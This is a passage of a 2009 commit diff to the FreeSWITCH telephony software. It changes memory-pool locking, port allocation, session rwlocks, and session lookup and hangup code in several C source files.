@@ -404,16 +499,31 @@
 				}
 
 #if defined(PER_POOL_LOCK) || defined(DESTROY_POOLS)
+#ifdef USE_MEM_LOCK
+	switch_mutex_lock(memory_manager.mem_lock);
+#endif
 				apr_pool_destroy(pop);
+#ifdef USE_MEM_LOCK
+	switch_mutex_unlock(memory_manager.mem_lock);
+#endif
 #else
 				apr_pool_clear(pop);
 				if (switch_queue_trypush(memory_manager.pool_recycle_queue, pop) != SWITCH_STATUS_SUCCESS) {
+#ifdef USE_MEM_LOCK
+	switch_mutex_lock(memory_manager.mem_lock);
+#endif
 					apr_pool_destroy(pop);
+#ifdef USE_MEM_LOCK
+					switch_mutex_unlock(memory_manager.mem_lock);
+#endif
+
 				}
 #endif
 				x--;
 			}
+#ifdef USE_MEM_LOCK
 			switch_mutex_unlock(memory_manager.mem_lock);
+#endif
 			if (done) {
 				goto done;
 			}
@@ -428,8 +538,15 @@
 	{
 		void *pop = NULL;
 		while (switch_queue_trypop(memory_manager.pool_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+#ifdef USE_MEM_LOCK
+	switch_mutex_lock(memory_manager.mem_lock);
+#endif
 			apr_pool_destroy(pop);
 			pop = NULL;
+#ifdef USE_MEM_LOCK
+			switch_mutex_unlock(memory_manager.mem_lock);
+#endif
+
 		}
 	}
 
@@ -438,11 +555,20 @@
 	return NULL;
 }
 
+#ifndef INSTANTLY_DESTROY_POOLS
+static switch_thread_t *pool_thread_p = NULL;
+#endif
+
 void switch_core_memory_stop(void)
 {
+#ifndef INSTANTLY_DESTROY_POOLS
+	switch_status_t st;
+
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping memory pool queue.\n");
-#ifndef INSTANTLY_DESTROY_POOLS
+
 	memory_manager.pool_thread_running = -1;
+	switch_thread_join(&st, pool_thread_p);
+	
 	while (memory_manager.pool_thread_running) {
 		switch_cond_next();
 	}
@@ -452,7 +578,6 @@
 switch_memory_pool_t *switch_core_memory_init(void)
 {
 #ifndef INSTANTLY_DESTROY_POOLS
-	switch_thread_t *thread;
 	switch_threadattr_t *thd_attr;
 #endif
 #ifdef PER_POOL_LOCK
@@ -473,18 +598,22 @@
 		abort();
 	}
 
-	if ((apr_thread_mutex_create(&my_mutex, APR_THREAD_MUTEX_DEFAULT, memory_manager.memory_pool)) != APR_SUCCESS) {
+	if ((apr_thread_mutex_create(&my_mutex, APR_THREAD_MUTEX_NESTED, memory_manager.memory_pool)) != APR_SUCCESS) {
 		abort();
 	}
 
 	apr_allocator_mutex_set(my_allocator, my_mutex);
+	apr_pool_mutex_set(memory_manager.memory_pool, my_mutex);
 	apr_allocator_owner_set(my_allocator, memory_manager.memory_pool);
+	apr_pool_tag(memory_manager.memory_pool, "core_pool");
 #else
 	apr_pool_create(&memory_manager.memory_pool, NULL);
 	switch_assert(memory_manager.memory_pool != NULL);
 #endif
 
+#ifdef USE_MEM_LOCK
 	switch_mutex_init(&memory_manager.mem_lock, SWITCH_MUTEX_NESTED, memory_manager.memory_pool);
+#endif
 
 #ifdef INSTANTLY_DESTROY_POOLS
 	{
@@ -500,7 +629,7 @@
 	switch_threadattr_detach_set(thd_attr, 1);
 
 	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-	switch_thread_create(&thread, thd_attr, pool_thread, NULL, memory_manager.memory_pool);
+	switch_thread_create(&pool_thread_p, thd_attr, pool_thread, NULL, memory_manager.memory_pool);
 
 	while (!memory_manager.pool_thread_running) {
 		switch_cond_next();

Modified: freeswitch/branches/seven/src/switch_core_port_allocator.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_port_allocator.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_port_allocator.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -39,7 +39,7 @@
 	switch_port_t start;
 	switch_port_t end;
 	switch_port_t next;
-	switch_byte_t *track;
+	int8_t *track;
 	uint32_t track_len;
 	uint32_t track_used;
 	switch_port_flag_t flags;
@@ -118,12 +118,12 @@
 	int odd = switch_test_flag(alloc, SPF_ODD);
 
 	switch_mutex_lock(alloc->mutex);
-	srand(getpid() + (unsigned) switch_timestamp(NULL));
+	srand((unsigned)((unsigned)(intptr_t)port_ptr + (unsigned)(intptr_t)switch_thread_self() + switch_micro_time_now()));
 
 	while (alloc->track_used < alloc->track_len) {
 		uint32_t index;
 		uint32_t tries = 0;
-
+		
 		/* randomly pick a port */
 		index = rand() % alloc->track_len;
 
@@ -131,6 +131,9 @@
 		while (alloc->track[index] && tries < alloc->track_len)
 		{
 			tries++;
+			if (alloc->track[index] < 0) {
+				alloc->track[index]++;
+			}
 			if (++index >= alloc->track_len) { 
 				index = 0;
 			}
@@ -179,8 +182,8 @@
 	}
 
 	switch_mutex_lock(alloc->mutex);
-	if (alloc->track[index]) {
-		alloc->track[index] = 0;
+	if (alloc->track[index] > 0) {
+		alloc->track[index] = -4;
 		alloc->track_used--;
 		status = SWITCH_STATUS_SUCCESS;
 	}

Modified: freeswitch/branches/seven/src/switch_core_rwlock.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_rwlock.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_rwlock.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -45,7 +45,7 @@
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
 	if (session->rwlock) {
-		if (switch_test_flag(session, SSF_DESTROYED) || switch_channel_get_state(session->channel) >= CS_HANGUP) {
+		if (switch_test_flag(session, SSF_DESTROYED) || switch_channel_down(session->channel)) {
 			status = SWITCH_STATUS_FALSE;
 #ifdef SWITCH_DEBUG_RWLOCKS
 			switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_ERROR, "%s Read lock FAIL\n",
@@ -73,7 +73,7 @@
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
 	if (session->rwlock) {
-		if (switch_test_flag(session, SSF_DESTROYED) || switch_channel_get_state(session->channel) >= CS_DONE) {
+		if (switch_test_flag(session, SSF_DESTROYED) || switch_channel_get_state(session->channel) >= CS_DESTROY) {
 			status = SWITCH_STATUS_FALSE;
 #ifdef SWITCH_DEBUG_RWLOCKS
 			switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_ERROR, "%s Read lock FAIL\n",

Modified: freeswitch/branches/seven/src/switch_core_session.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_session.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_session.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -53,11 +53,14 @@
 	switch_core_session_t *session = NULL;
 
 	if (uuid_str) {
-		switch_mutex_lock(runtime.throttle_mutex);
+		switch_mutex_lock(runtime.session_hash_mutex);
 		if ((session = switch_core_hash_find(session_manager.session_table, uuid_str))) {
 			/* Acquire a read lock on the session */
 #ifdef SWITCH_DEBUG_RWLOCKS
 			if (switch_core_session_perform_read_lock(session, file, func, line) != SWITCH_STATUS_SUCCESS) {
+#if EMACS_CC_MODE_IS_BUGGY
+			}
+#endif
 #else
 			if (switch_core_session_read_lock(session) != SWITCH_STATUS_SUCCESS) {
 #endif
@@ -65,7 +68,7 @@
 				session = NULL;
 			}
 		}
-		switch_mutex_unlock(runtime.throttle_mutex);
+		switch_mutex_unlock(runtime.session_hash_mutex);
 	}
 
 	/* if its not NULL, now it's up to you to rwunlock this */
@@ -73,30 +76,106 @@
 }
 
 
+
+
+#ifdef SWITCH_DEBUG_RWLOCKS
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_perform_force_locate(const char *uuid_str, const char *file, const char *func, int line)
+#else
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_force_locate(const char *uuid_str)
+#endif
+{
+	switch_core_session_t *session = NULL;
+	switch_status_t status;
+	
+	if (uuid_str) {
+		switch_mutex_lock(runtime.session_hash_mutex);
+		if ((session = switch_core_hash_find(session_manager.session_table, uuid_str))) {
+			/* Acquire a read lock on the session */
+
+			if (switch_test_flag(session, SSF_DESTROYED)) {
+				status = SWITCH_STATUS_FALSE;
+#ifdef SWITCH_DEBUG_RWLOCKS
+				switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_ERROR, "%s Read lock FAIL\n",
+								  switch_channel_get_name(session->channel));
+#endif
+			} else {
+				status = (switch_status_t) switch_thread_rwlock_tryrdlock(session->rwlock);
+#ifdef SWITCH_DEBUG_RWLOCKS
+				switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_ERROR, "%s Read lock ACQUIRED\n",
+								  switch_channel_get_name(session->channel));
+#endif
+			}
+
+			if (status != SWITCH_STATUS_SUCCESS) {
+				/* not available, forget it */
+				session = NULL;
+			}
+		}
+		switch_mutex_unlock(runtime.session_hash_mutex);
+	}
+
+	/* if its not NULL, now it's up to you to rwunlock this */
+	return session;
+}
+
+
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_partner(switch_core_session_t *session, switch_core_session_t **partner)
+{
+	const char *uuid;
+	
+	if ((uuid = switch_channel_get_variable(session->channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
+		if ((*partner = switch_core_session_locate(uuid))) {
+			return SWITCH_STATUS_SUCCESS;
+		}
+	}
+
+	*partner = NULL;
+	return SWITCH_STATUS_FALSE;
+}
+
+
 SWITCH_DECLARE(void) switch_core_session_hupall_matching_var(const char *var_name, const char *var_val, switch_call_cause_t cause)
 {
 	switch_hash_index_t *hi;
 	void *val;
 	switch_core_session_t *session;
+	switch_memory_pool_t *pool;
+	switch_queue_t *queue;
+	void *pop;
+	
+	switch_core_new_memory_pool(&pool);
+	switch_queue_create(&queue, 250000, pool);
 
 	if (!var_val) return;
 
-	switch_mutex_lock(runtime.throttle_mutex);
+	switch_mutex_lock(runtime.session_hash_mutex);
 	for (hi = switch_hash_first(NULL, session_manager.session_table); hi; hi = switch_hash_next(hi)) {
 		switch_hash_this(hi, NULL, NULL, &val);
 		if (val) {
 			const char *this_val;
 			session = (switch_core_session_t *) val;
 			if (switch_core_session_read_lock(session) == SWITCH_STATUS_SUCCESS) {
-				if (switch_channel_get_state(session->channel) < CS_HANGUP &&
+				if (switch_channel_up(session->channel) &&
 					(this_val = switch_channel_get_variable(session->channel, var_name)) && (!strcmp(this_val, var_val))) {
-					switch_channel_hangup(session->channel, cause);
+					switch_queue_push(queue, switch_core_strdup(pool, session->uuid_str));
 				}
 				switch_core_session_rwunlock(session);
 			}
 		}
 	}
-	switch_mutex_unlock(runtime.throttle_mutex);
+	switch_mutex_unlock(runtime.session_hash_mutex);
+
+	while(switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+		char *uuid = (char *) pop;
+		
+		if ((session = switch_core_session_locate(uuid))) {
+			switch_channel_hangup(session->channel, cause);
+			switch_core_session_rwunlock(session);
+		}
+	}
+
+	switch_core_destroy_memory_pool(&pool);
+
 }	
 
 SWITCH_DECLARE(void) switch_core_session_hupall_endpoint(const switch_endpoint_interface_t *endpoint_interface, switch_call_cause_t cause)
@@ -104,21 +183,39 @@
 	switch_hash_index_t *hi;
 	void *val;
 	switch_core_session_t *session;
+	switch_memory_pool_t *pool;
+	switch_queue_t *queue;
+	void *pop;
+	
+	switch_core_new_memory_pool(&pool);
+	switch_queue_create(&queue, 250000, pool);
 
-	switch_mutex_lock(runtime.throttle_mutex);
+	switch_mutex_lock(runtime.session_hash_mutex);
 	for (hi = switch_hash_first(NULL, session_manager.session_table); hi; hi = switch_hash_next(hi)) {
 		switch_hash_this(hi, NULL, NULL, &val);
 		if (val) {
 			session = (switch_core_session_t *) val;
 			if (switch_core_session_read_lock(session) == SWITCH_STATUS_SUCCESS) {
 				if (session->endpoint_interface == endpoint_interface) {
-					switch_channel_hangup(switch_core_session_get_channel(session), cause);
+					switch_queue_push(queue, switch_core_strdup(pool, session->uuid_str));
 				}
 				switch_core_session_rwunlock(session);
 			}
 		}
 	}
-	switch_mutex_unlock(runtime.throttle_mutex);
+	switch_mutex_unlock(runtime.session_hash_mutex);
+
+	while(switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+		char *uuid = (char *) pop;
+		
+		if ((session = switch_core_session_locate(uuid))) {
+			switch_channel_hangup(session->channel, cause);
+			switch_core_session_rwunlock(session);
+		}
+	}
+
+	switch_core_destroy_memory_pool(&pool);
+
 }	
 
 SWITCH_DECLARE(void) switch_core_session_hupall(switch_call_cause_t cause)
@@ -126,47 +223,56 @@
 	switch_hash_index_t *hi;
 	void *val;
 	switch_core_session_t *session;
-	uint32_t loops = 0;
+	switch_memory_pool_t *pool;
+	switch_queue_t *queue;
+	void *pop;
+	
+	switch_core_new_memory_pool(&pool);
+	switch_queue_create(&queue, 250000, pool);
 
-	switch_mutex_lock(runtime.throttle_mutex);
+	switch_mutex_lock(runtime.session_hash_mutex);
 	for (hi = switch_hash_first(NULL, session_manager.session_table); hi; hi = switch_hash_next(hi)) {
 		switch_hash_this(hi, NULL, NULL, &val);
 		if (val) {
 			session = (switch_core_session_t *) val;
 			if (switch_core_session_read_lock(session) == SWITCH_STATUS_SUCCESS) {
-				switch_channel_hangup(switch_core_session_get_channel(session), cause);
+				switch_queue_push(queue, switch_core_strdup(pool, session->uuid_str));
 				switch_core_session_rwunlock(session);
 			}
 		}
 	}
-	switch_mutex_unlock(runtime.throttle_mutex);
-
-	while (session_manager.session_count > 0) {
-		switch_yield(100000);
-		if (++loops == 100) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Giving up with %d session%s remaining\n",
-							  session_manager.session_count, session_manager.session_count == 1 ? "" : "s");
-			break;
+	switch_mutex_unlock(runtime.session_hash_mutex);
+	
+	while(switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+		char *uuid = (char *) pop;
+		
+		if ((session = switch_core_session_locate(uuid))) {
+			switch_channel_hangup(session->channel, cause);
+			switch_core_session_rwunlock(session);
 		}
 	}
+
+	switch_core_destroy_memory_pool(&pool);
+	
 }
 
+ 
 SWITCH_DECLARE(switch_status_t) switch_core_session_message_send(const char *uuid_str, switch_core_session_message_t *message)
 {
 	switch_core_session_t *session = NULL;
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
-	switch_mutex_lock(runtime.throttle_mutex);
+	switch_mutex_lock(runtime.session_hash_mutex);
 	if ((session = switch_core_hash_find(session_manager.session_table, uuid_str)) != 0) {
 		/* Acquire a read lock on the session or forget it the channel is dead */
 		if (switch_core_session_read_lock(session) == SWITCH_STATUS_SUCCESS) {
-			if (switch_channel_get_state(session->channel) < CS_HANGUP) {
+			if (switch_channel_up(session->channel)) {
 				status = switch_core_session_receive_message(session, message);
 			}
 			switch_core_session_rwunlock(session);
 		}
 	}
-	switch_mutex_unlock(runtime.throttle_mutex);
+	switch_mutex_unlock(runtime.session_hash_mutex);
 
 	return status;
 }
@@ -176,17 +282,17 @@
 	switch_core_session_t *session = NULL;
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
-	switch_mutex_lock(runtime.throttle_mutex);
+	switch_mutex_lock(runtime.session_hash_mutex);
 	if ((session = switch_core_hash_find(session_manager.session_table, uuid_str)) != 0) {
 		/* Acquire a read lock on the session or forget it the channel is dead */
 		if (switch_core_session_read_lock(session) == SWITCH_STATUS_SUCCESS) {
-			if (switch_channel_get_state(session->channel) < CS_HANGUP) {
+			if (switch_channel_up(session->channel)) {
 				status = switch_core_session_queue_event(session, event);
 			}
 			switch_core_session_rwunlock(session);
 		}
 	}
-	switch_mutex_unlock(runtime.throttle_mutex);
+	switch_mutex_unlock(runtime.session_hash_mutex);
 
 	return status;
 }
@@ -197,8 +303,8 @@
 	switch_assert(session != NULL);
 	return session->private_info;
 }
+ 
 
-
 SWITCH_DECLARE(switch_status_t) switch_core_session_set_private(switch_core_session_t *session, void *private_info)
 {
 	switch_assert(session != NULL);
@@ -331,6 +437,7 @@
 		peer_profile = switch_channel_get_caller_profile(peer_channel);
 		
 		if ((use_uuid = switch_event_get_header(var_event, "origination_uuid"))) {
+			use_uuid = switch_core_session_strdup(*new_session, use_uuid);
 			if (switch_core_session_set_uuid(*new_session, use_uuid) == SWITCH_STATUS_SUCCESS) {
 				switch_event_del_header(var_event, "origination_uuid");
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s set UUID=%s\n", switch_channel_get_name(peer_channel), use_uuid);
@@ -341,16 +448,26 @@
 		
 		if (channel) {
 			const char *export_vars, *val;
-			switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
+			switch_codec_t *vid_read_codec = NULL, *read_codec = switch_core_session_get_read_codec(session);
 			const char *max_forwards = switch_core_session_sprintf(session, "%d", forwardval);
 
 			switch_channel_set_variable(peer_channel, SWITCH_MAX_FORWARDS_VARIABLE, max_forwards);
 
 			profile = switch_channel_get_caller_profile(channel);
 
-			if (read_codec && read_codec->implementation) {
-				char tmp[80];
-				switch_codec2str(read_codec, tmp, sizeof(tmp));
+			vid_read_codec = switch_core_session_get_video_read_codec(session);
+
+			if (read_codec && read_codec->implementation && switch_core_codec_ready(read_codec)) {
+				char rc[80] = "", vrc[80] = "", tmp[160] = "";
+				
+				switch_codec2str(read_codec, rc, sizeof(rc));
+				if (vid_read_codec && vid_read_codec->implementation && switch_core_codec_ready(vid_read_codec)) {
+					vrc[0] = ',';
+					switch_codec2str(read_codec, vrc+1, sizeof(vrc) - 1);
+					switch_channel_set_variable(peer_channel, SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE, vrc+1);
+				}
+
+				switch_snprintf(tmp, sizeof(tmp), "%s%s", rc, vrc);
 				switch_channel_set_variable(peer_channel, SWITCH_ORIGINATOR_CODEC_VARIABLE, tmp);
 			}
 
@@ -405,7 +522,7 @@
 				}
 			}
 
-			if (peer_profile) {
+			if (peer_profile && !(flags & SOF_FORKED_DIAL)) {
 				if ((cloned_profile = switch_caller_profile_clone(session, peer_profile)) != 0) {
 					switch_channel_set_originatee_caller_profile(channel, cloned_profile);
 				}
@@ -457,7 +574,7 @@
 
 	switch_assert(session != NULL);
 
-	if (switch_channel_get_state(session->channel) >= CS_HANGUP) {
+	if (switch_channel_down(session->channel)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
@@ -613,7 +730,7 @@
 
 	/* Acquire a read lock on the session or forget it the channel is dead */
 	if (switch_core_session_read_lock(session) == SWITCH_STATUS_SUCCESS) {
-		if (switch_channel_get_state(session->channel) < CS_HANGUP) {
+		if (switch_channel_up(session->channel)) {
 			if (session->endpoint_interface->io_routines->receive_event) {
 				status = session->endpoint_interface->io_routines->receive_event(session, *event);
 			}
@@ -667,14 +784,14 @@
 	return 0;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_core_session_dequeue_event(switch_core_session_t *session, switch_event_t **event)
+SWITCH_DECLARE(switch_status_t) switch_core_session_dequeue_event(switch_core_session_t *session, switch_event_t **event, switch_bool_t force)
 {
 	switch_status_t status = SWITCH_STATUS_FALSE;
 	void *pop;
 
 	switch_assert(session != NULL);
 
-	if (session->event_queue) {
+	if (session->event_queue && (force || !switch_channel_test_flag(session->channel, CF_DIVERT_EVENTS))) {
 		if ((status = (switch_status_t) switch_queue_trypop(session->event_queue, &pop)) == SWITCH_STATUS_SUCCESS) {
 			*event = (switch_event_t *) pop;
 		}
@@ -762,10 +879,16 @@
 	switch_mutex_unlock(session->resample_mutex);
 	/* clear indications */
 	switch_core_session_flush_message(session);
+
 	/* wipe these, they will be recreated if need be */
-	switch_buffer_destroy(&session->raw_read_buffer);
+	switch_mutex_lock(session->codec_write_mutex);
 	switch_buffer_destroy(&session->raw_write_buffer);
+	switch_mutex_unlock(session->codec_write_mutex);
 
+	switch_mutex_lock(session->codec_read_mutex);
+	switch_buffer_destroy(&session->raw_read_buffer);
+	switch_mutex_unlock(session->codec_read_mutex);
+
 	if (flush_dtmf) {
 		while ((has = switch_channel_has_dtmf(channel))) {
 			switch_channel_flush_dtmf(channel);
@@ -775,7 +898,6 @@
 	switch_clear_flag(session, SSF_WARN_TRANSCODE);
 	switch_ivr_deactivate_unicast(session);
 	switch_channel_clear_flag(channel, CF_BREAK);
-	switch_core_media_bug_flush_all(session);
 }
 
 
@@ -815,7 +937,6 @@
 	return session->thread_running;
 }
 
-
 SWITCH_DECLARE(void) switch_core_session_perform_destroy(switch_core_session_t **session, const char *file, const char *func, int line)
 {
 	switch_memory_pool_t *pool;
@@ -834,18 +955,19 @@
 
 	switch_scheduler_del_task_group((*session)->uuid_str);
 
-	switch_mutex_lock(runtime.throttle_mutex);
+	switch_mutex_lock(runtime.session_hash_mutex);
 	switch_core_hash_delete(session_manager.session_table, (*session)->uuid_str);
 	if (session_manager.session_count) {
 		session_manager.session_count--;
 	}
-	switch_mutex_unlock(runtime.throttle_mutex);
+	switch_mutex_unlock(runtime.session_hash_mutex);
 
 	if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_DESTROY) == SWITCH_STATUS_SUCCESS) {
 		switch_channel_event_set_data((*session)->channel, event);
 		switch_event_fire(&event);
 	}
 
+	switch_core_session_destroy_state(*session);
 
 	switch_buffer_destroy(&(*session)->raw_read_buffer);
 	switch_buffer_destroy(&(*session)->raw_write_buffer);
@@ -862,6 +984,8 @@
 	UNPROTECT_INTERFACE(endpoint_interface);
 }
 
+
+
 SWITCH_STANDARD_SCHED_FUNC(sch_heartbeat_callback)
 {
 	switch_event_t *event;
@@ -874,7 +998,7 @@
 		switch_event_fire(&event);
 
 		/* reschedule this task */
-		task->runtime = switch_timestamp(NULL) + session->track_duration;
+		task->runtime = switch_epoch_time_now(NULL) + session->track_duration;
 
 		switch_core_session_rwunlock(session);
 	}
@@ -892,7 +1016,7 @@
 {
 
 	switch_core_session_unsched_heartbeat(session);
-	session->track_id = switch_scheduler_add_task(switch_timestamp(NULL), sch_heartbeat_callback, (char *) __SWITCH_FUNC__, 
+	session->track_id = switch_scheduler_add_task(switch_epoch_time_now(NULL), sch_heartbeat_callback, (char *) __SWITCH_FUNC__, 
 												  switch_core_session_get_uuid(session), 0, strdup(switch_core_session_get_uuid(session)), SSHF_FREE_ARG);
 }
 
@@ -904,6 +1028,8 @@
 		seconds = 60;
 	}
 
+	session->track_duration = seconds;
+
 	if (switch_channel_test_flag(session->channel,  CF_PROXY_MODE)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s using scheduler due to bypass_media mode\n", switch_channel_get_name(session->channel));
 		switch_core_session_sched_heartbeat(session, seconds);
@@ -914,7 +1040,7 @@
 	
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s setting session heartbeat to %u second(s).\n", 
 					  switch_channel_get_name(session->channel), seconds);
-	session->track_duration = seconds;
+
 	session->read_frame_count = 0;
 	
 }
@@ -1010,18 +1136,19 @@
 
 	switch_assert(use_uuid);
 
+	switch_mutex_lock(runtime.session_hash_mutex);
 	if (switch_core_hash_find(session_manager.session_table, use_uuid)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Duplicate UUID!\n");
+		switch_mutex_unlock(runtime.session_hash_mutex);
         return SWITCH_STATUS_FALSE;
 	}
 
 	switch_event_create(&event, SWITCH_EVENT_CHANNEL_UUID);
 	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Old-Unique-ID", session->uuid_str);
-	switch_mutex_lock(runtime.throttle_mutex);
 	switch_core_hash_delete(session_manager.session_table, session->uuid_str);
 	switch_set_string(session->uuid_str, use_uuid);
 	switch_core_hash_insert(session_manager.session_table, session->uuid_str, session);
-	switch_mutex_unlock(runtime.throttle_mutex);
+	switch_mutex_unlock(runtime.session_hash_mutex);
 	switch_channel_event_set_data(session->channel, event);
 	switch_event_fire(&event);
 	
@@ -1030,7 +1157,10 @@
 }
 
 SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(switch_endpoint_interface_t
-																		 *endpoint_interface, switch_memory_pool_t **pool, const char *use_uuid)
+																		 *endpoint_interface, 
+																		 switch_call_direction_t direction,
+																		 switch_memory_pool_t **pool, 
+																		 const char *use_uuid)
 {
 	switch_memory_pool_t *usepool;
 	switch_core_session_t *session;
@@ -1077,13 +1207,19 @@
 
 	session = switch_core_alloc(usepool, sizeof(*session));
 	session->pool = usepool;
+
+	switch_core_memory_pool_set_data(session->pool, "__session", session);
 	
-	if (switch_channel_alloc(&session->channel, session->pool) != SWITCH_STATUS_SUCCESS) {
+	if (switch_channel_alloc(&session->channel, direction, session->pool) != SWITCH_STATUS_SUCCESS) {
 		abort();
 	}
 
 	switch_channel_init(session->channel, session, CS_NEW, 0);
 
+	if (direction == SWITCH_CALL_DIRECTION_OUTBOUND) {
+		switch_channel_set_flag(session->channel, CF_OUTBOUND);
+	}
+	
 	/* The session *IS* the pool you may not alter it because you have no idea how
 	   its all private it will be passed to the thread run function */
 
@@ -1116,12 +1252,13 @@
 	switch_queue_create(&session->message_queue, SWITCH_MESSAGE_QUEUE_LEN, session->pool);
 	switch_queue_create(&session->event_queue, SWITCH_EVENT_QUEUE_LEN, session->pool);
 	switch_queue_create(&session->private_event_queue, SWITCH_EVENT_QUEUE_LEN, session->pool);
-	switch_mutex_lock(runtime.throttle_mutex);
+
+	switch_mutex_lock(runtime.session_hash_mutex);
+	switch_core_hash_insert(session_manager.session_table, session->uuid_str, session);
 	session->id = session_manager.session_id++;
-	switch_core_hash_insert(session_manager.session_table, session->uuid_str, session);
 	session_manager.session_count++;
-	switch_mutex_unlock(runtime.throttle_mutex);
-
+	switch_mutex_unlock(runtime.session_hash_mutex);
+	
 	return session;
 }
 
@@ -1141,7 +1278,9 @@
 }
 
 
-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(const char *endpoint_name, switch_memory_pool_t **pool)
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(const char *endpoint_name, 
+																			switch_call_direction_t direction, 
+																			switch_memory_pool_t **pool)
 {
 	switch_endpoint_interface_t *endpoint_interface;
 	switch_core_session_t *session;
@@ -1151,7 +1290,7 @@
 		return NULL;
 	}
 
-	session = switch_core_session_request(endpoint_interface, pool);
+	session = switch_core_session_request(endpoint_interface, direction, pool);
 
 	UNPROTECT_INTERFACE(endpoint_interface);
 
@@ -1224,8 +1363,12 @@
 SWITCH_DECLARE(switch_status_t) switch_core_session_execute_application(switch_core_session_t *session, const char *app, const char *arg)
 {
 	switch_application_interface_t *application_interface;
-	char *expanded = NULL;
-	const char *var;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	
+	if (switch_channel_down(session->channel)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel is hungup, aborting execution of application: %s\n", app);
+		return SWITCH_STATUS_FALSE;
+	}
 
 	if ((application_interface = switch_loadable_module_get_application_interface(app)) == 0) {
